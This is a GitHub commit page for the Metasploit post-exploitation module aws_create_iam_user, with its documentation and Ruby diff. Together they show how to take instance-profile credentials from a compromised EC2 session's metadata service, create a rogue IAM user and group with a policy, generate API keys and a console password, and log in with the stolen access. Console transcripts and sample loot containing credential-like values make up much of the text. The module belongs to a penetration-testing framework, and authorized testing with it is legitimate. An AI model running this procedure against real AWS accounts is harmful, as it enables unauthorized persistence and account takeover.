Skip to content

Commit 7aa743b

Browse files
committed
Land rapid7#7682, @godinezj's improvements to rapid7#7604
2 parents cfca189 + 446cb02 commit 7aa743b

File tree

2 files changed

+66
-11
lines changed

2 files changed

+66
-11
lines changed

documentation/modules/post/multi/escalate/aws_create_iam_user.md

Lines changed: 53 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -113,6 +113,11 @@ Active sessions
113113

114114
## Options
115115

116+
By default the module will:
117+
118+
* create a randomly named IAM user and group
119+
* generate API Keys and User password for after
120+
116121
In the event that the session'd AWS instance does not have an IAM role assigned
117122
to it with sufficient privileges, the following options can be used to provide
118123
specific authentication material:
@@ -124,9 +129,30 @@ specific authentication material:
124129
The following options control the account that is being created:
125130

126131
* `IAM_USERNAME`: set this if you would like to control the username for to user to be created
132+
* `IAM_PASSWORD`: set this if you would like to control the password for the created user
127133
* `CREATE_API`: when true, creates API keys for this user
128134
* `CREATE_CONSOLE`: when true, creates a password for this user so that they can access the AWS console
129135

136+
```
137+
msf exploit(sshexec) > use post/multi/escalate/aws_create_iam_user
138+
msf post(aws_create_iam_user) > show options
139+
140+
Module options (post/multi/escalate/aws_create_iam_user):
141+
142+
Name Current Setting Required Description
143+
---- --------------- -------- -----------
144+
AccessKeyId no AWS access key
145+
CREATE_API true yes Add access key ID and secret access key to account (API, CLI, and SDK access)
146+
CREATE_CONSOLE true yes Create an account with a password for accessing the AWS management console
147+
IAM_GROUPNAME no Name of the group to be created (leave empty or unset to use a random name)
148+
IAM_PASSWORD no Password to set for the user to be created (leave empty or unset to use a random name)
149+
IAM_USERNAME no Name of the user to be created (leave empty or unset to use a random name)
150+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
151+
SESSION yes The session to run this module on.
152+
SecretAccessKey no AWS secret key
153+
Token no AWS session token
154+
155+
```
130156

131157
## Abusing an Overly Permissive Instance Profile
132158

@@ -136,7 +162,6 @@ overly permissive access. Once a session is established, we can load
136162
e.g., `SESSION 1` and run the exploit.
137163

138164
```
139-
msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
140165
msf post(aws_create_iam_user) > set SESSION 1
141166
SESSION => 1
142167
msf post(aws_create_iam_user) > exploit
@@ -195,7 +220,6 @@ SecretAccessKey => jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
195220
msf post(aws_create_iam_user) > set SESSION 1
196221
SESSION => 1
197222
msf post(aws_create_iam_user) > run
198-
msf post(aws_create_iam_user) > run
199223
200224
[*] 169.254.169.254 - looking for creds...
201225
[*] Creating user: bZWsmzyupDWxe8CT
@@ -222,12 +246,39 @@ bZWsmzyupDWxe8CT bZWsmzyupDWxe8CT 74FXOTagsYCzxz0pjPOmnsASewj4Dq/JzH3Q24qj AK
222246
Information necessary to use the created account is printed to the screen and stored in loot:
223247

224248
```
249+
$ cat ~/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
225250
{
226251
"UserName": "As56ekIV59OgoFOj",
227252
"GroupName": "As56ekIV59OgoFOj",
228253
"SecretAccessKey": "/DcYUf9veCFQF3Qcoi1eyVzptMkVTeBm5scQ9bdD",
229254
"AccessKeyId": "AKIAIVNMYXYBXYE7VCHQ",
230255
"Password": "As56ekIV59OgoFOj",
231256
"AccountId": "xxx"
257+
```
258+
259+
These creds can be used to call the AWS API directly or you can login using the console.
260+
261+
Configuring the CLI:
262+
263+
```
264+
$ aws configure --profile test
265+
AWS Access Key ID [None]: AKIA...
266+
AWS Secret Access Key [None]: THE SECRET ACCESS KEY...
267+
Default region name [None]: us-west-2
268+
Default output format [None]: json
269+
```
270+
271+
Call the API, e.g., get the Account ID:
272+
273+
```
274+
$ aws iam --profile test list-account-aliases
275+
{
276+
"AccountAliases": [
277+
"Account_ID"
278+
]
232279
}
233280
```
281+
282+
Login via the console using the username and password:
283+
284+
Go to the AWS Console at https://Account_ID.signin.aws.amazon.com/console/ and login.

modules/post/multi/escalate/aws_create_iam_user.rb

Lines changed: 13 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,8 @@ def initialize(info = {})
3636
register_options(
3737
[
3838
OptString.new('IAM_USERNAME', [false, 'Name of the user to be created (leave empty or unset to use a random name)', '']),
39+
OptString.new('IAM_PASSWORD', [false, 'Password to set for the user to be created (leave empty or unset to use a random name)', '']),
40+
OptString.new('IAM_GROUPNAME', [false, 'Name of the group to be created (leave empty or unset to use a random name)', '']),
3941
OptBool.new('CREATE_API', [true, 'Add access key ID and secret access key to account (API, CLI, and SDK access)', true]),
4042
OptBool.new('CREATE_CONSOLE', [true, 'Create an account with a password for accessing the AWS management console', true]),
4143
OptString.new('AccessKeyId', [false, 'AWS access key', '']),
@@ -89,19 +91,18 @@ def run
8991
results['UserName'] = username
9092

9193
# create group
92-
groupname = username
94+
groupname = datastore['IAM_GROUPNAME'].blank? ? username : datastore['IAM_GROUPNAME']
9395
print_status("Creating group: #{groupname}")
9496
action = 'CreateGroup'
9597
doc = call_iam(creds, 'Action' => action, 'GroupName' => groupname)
9698
print_results(doc, action)
9799
results['GroupName'] = groupname
98100

99101
# create group policy
100-
policyname = username
101-
print_status("Creating group policy: #{policyname}")
102+
print_status("Creating group policy")
102103
pol_doc = datastore['IAM_GROUP_POL']
103104
action = 'PutGroupPolicy'
104-
doc = call_iam(creds, 'Action' => action, 'GroupName' => groupname, 'PolicyName' => policyname, 'PolicyDocument' => URI.encode(pol_doc))
105+
doc = call_iam(creds, 'Action' => action, 'GroupName' => groupname, 'PolicyName' => 'Policy', 'PolicyDocument' => URI.encode(pol_doc))
105106
print_results(doc, action)
106107

107108
# add user to group
@@ -117,24 +118,27 @@ def run
117118
action = 'CreateAccessKey'
118119
response = call_iam(creds, 'Action' => action, 'UserName' => username)
119120
doc = print_results(response, action)
120-
results['SecretAccessKey'] = doc['SecretAccessKey']
121-
results['AccessKeyId'] = doc['AccessKeyId']
121+
if doc
122+
results['SecretAccessKey'] = doc['SecretAccessKey']
123+
results['AccessKeyId'] = doc['AccessKeyId']
124+
end
122125
end
123126

124127
if datastore['CREATE_CONSOLE']
125128
print_status("Creating password for #{username}")
126-
password = username
129+
password = datastore['IAM_PASSWORD'].blank? ? Rex::Text.rand_text_alphanumeric(16) : datastore['IAM_PASSWORD']
127130
action = 'CreateLoginProfile'
128131
response = call_iam(creds, 'Action' => action, 'UserName' => username, 'Password' => password)
129132
doc = print_results(response, action)
130-
results['Password'] = password
133+
results['Password'] = password if doc
131134
end
132135

133136
action = 'GetUser'
134137
response = call_iam(creds, 'Action' => action, 'UserName' => username)
135138
doc = print_results(response, action)
139+
return if doc.nil?
136140
arn = doc['Arn']
137-
results['AccountId'] = arn[/^arn:aws:iam::(\d+):/,1]
141+
results['AccountId'] = arn[/^arn:aws:iam::(\d+):/, 1]
138142

139143
keys = results.keys
140144
table = Rex::Text::Table.new(

0 commit comments

Comments
 (0)